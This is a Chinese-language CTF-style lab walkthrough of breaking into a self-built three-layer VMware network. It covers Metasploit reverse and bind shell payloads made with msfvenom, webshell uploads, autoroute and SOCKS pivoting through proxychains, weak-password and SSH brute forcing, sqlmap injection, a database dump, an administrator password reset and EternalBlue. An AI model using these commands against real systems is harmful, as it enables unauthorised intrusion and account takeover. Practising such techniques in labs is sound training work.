在最近的CTF比赛中,综合靶场出现的次数越来越多,这种形式的靶场和真实的内网渗透很像,很贴合实际工作,但我们往往缺少多层网络的练习环境。本文通过VMware搭建3层网络,并通过msf进行内网渗透,涉及代理搭建,流量转发,端口映射等常见内网渗透技术。
网络拓扑
环境搭建
首先在虚拟机中新建3块网卡,选择仅主机模式
将kali设为第一层网络vmnet1
将第一层靶机设为双网卡vmnet1和vmnet2
将第二层靶机设置为双网卡:vmnet2和vmnet3:
将第三层靶机设为vmnet3:
至此,我们的3层网络环境就已经搭建完毕。
第一层靶机
Nmap探测一下,发现8080端口:
访问一下:
返现文件上传点,经测试没有任何过滤,可以直接上传任意文件,因此直接上传jsp一句话后门:
上传后返回文件路径,菜刀连接:
为了进一步做内网渗透,上传msf后门:
1、后门制作:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf
将shell.elf上传到第一层靶机192.168.59.129
2、MSF设置监听:
3、在第一层靶机运行shell.elf
Chmod 777 shell.elf
./shell.elf
4、Msf获得meterpreter,执行shell,查看网络配置,发现双网卡,第二层网络段为192.168.80.0/24
第二层靶机
首先利用第一层的meterpreter添加到第二层的路由:
run autoroute -s 192.168.80.0/24
然后利用msf进行第二层网络存活主机扫描:
use auxiliary/scanner/discovery/arp_sweep
发现第二层靶机 192.168.80.129。
接着利用msf搭建socks代理,好让攻击机直接打第二层网络:
use auxiliary/server/socks4a
然后在第一层网络配置相关socks4代理客户端:
Proxychain:
在配置文件/etc/proxychains.conf中添加:
socks4 192.168.59.128 9999
然后利用proxychans 启动nmap对第二层靶机进行扫描,这里注意一定要加上-Pn和-sT参数:
proxychains nmap -Pn -sT 192.168.80.129 -p1-1000
发现第二层主机开放22和80端口。
在Chrome中配置代理
访问第二层网络:
是一个typecho的 cms,尝试admin/admin等弱口令登陆后台,登陆成功:
个人信息处发现flag:
在设置中允许上传php
然后撰写文章,附件上传php webshell:
可以看到shell路径,用蚁剑连接,因为是第二层网络,所以得通过socks代理客户端去启动蚁剑,我用的是sockscap64:
在代理中配置代理服务器:
用蚁剑连接shell:
在网站根目录处发现flag
查看config.inc.php:
发现数据库口令123:
将数据库dump出来:
mysqldump -uroot -p123 typecho >/tmp/1.sql
在1.sql中发现flag:
第二层靶机还开放了22端口,尝试利用msf、hydra探测一下弱口令:
Hydra:
Msf:
use auxiliary/scanner/ssh/ssh_login
同样发现弱口令,同时msf可以直接获得一个meterpreter
获得flag:
在sockscap64中打开ssh客户端:
也可以利用root/123456登录,获得flag
同样,为了打进第三层,我们需要在第二层靶机上上传msf后门,
制作后门:
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4321 -f elf > shell1.elf
利用蚁剑上传,并在第二层靶机运行:
Chmod 777 ./shell1.elf
./shell1.elf
在msf上配置payload:
获得第二层meterpreter:
发现第三层网段192.168.226.0/24
然后利用这个meterpreter添加到第三层的网络路由:
run autoroute -s 192.168.226.0/24
在启用一个socks代理给第三层网络,端口开9998
然后在proxychains的配置文件中加上9998:
扫描一下第三层主机端口:
proxychains nmap -Pn -sT 192.168.226.129 -p1-1000
发现开放了80、445端口
第三层网络
在chrome 修改代理,端口改为9998
访问第三层网络
查询处存在SQL注入
抓包:
Proxychains 跑sqlmap
proxychains sqlmap -r test.txt
得到后台用户密码:admin/faka123
登录:
发现flag。接着在logo上传处发现任意文件上传:
直接上传木马,获得路径:
菜刀连接,网站根目录发现flag
发现网站开启了3389,同时是system权限:
直接修改administrator密码:
net user administrator 123456
再把第三层3389流量转发到代理服务器中:
访问远程桌面:
发现flag:
同时,该靶机开放445端口,试试永痕之蓝:
同样可以拿到shell。
至此,我们已经拿下3层网络中的全部机器。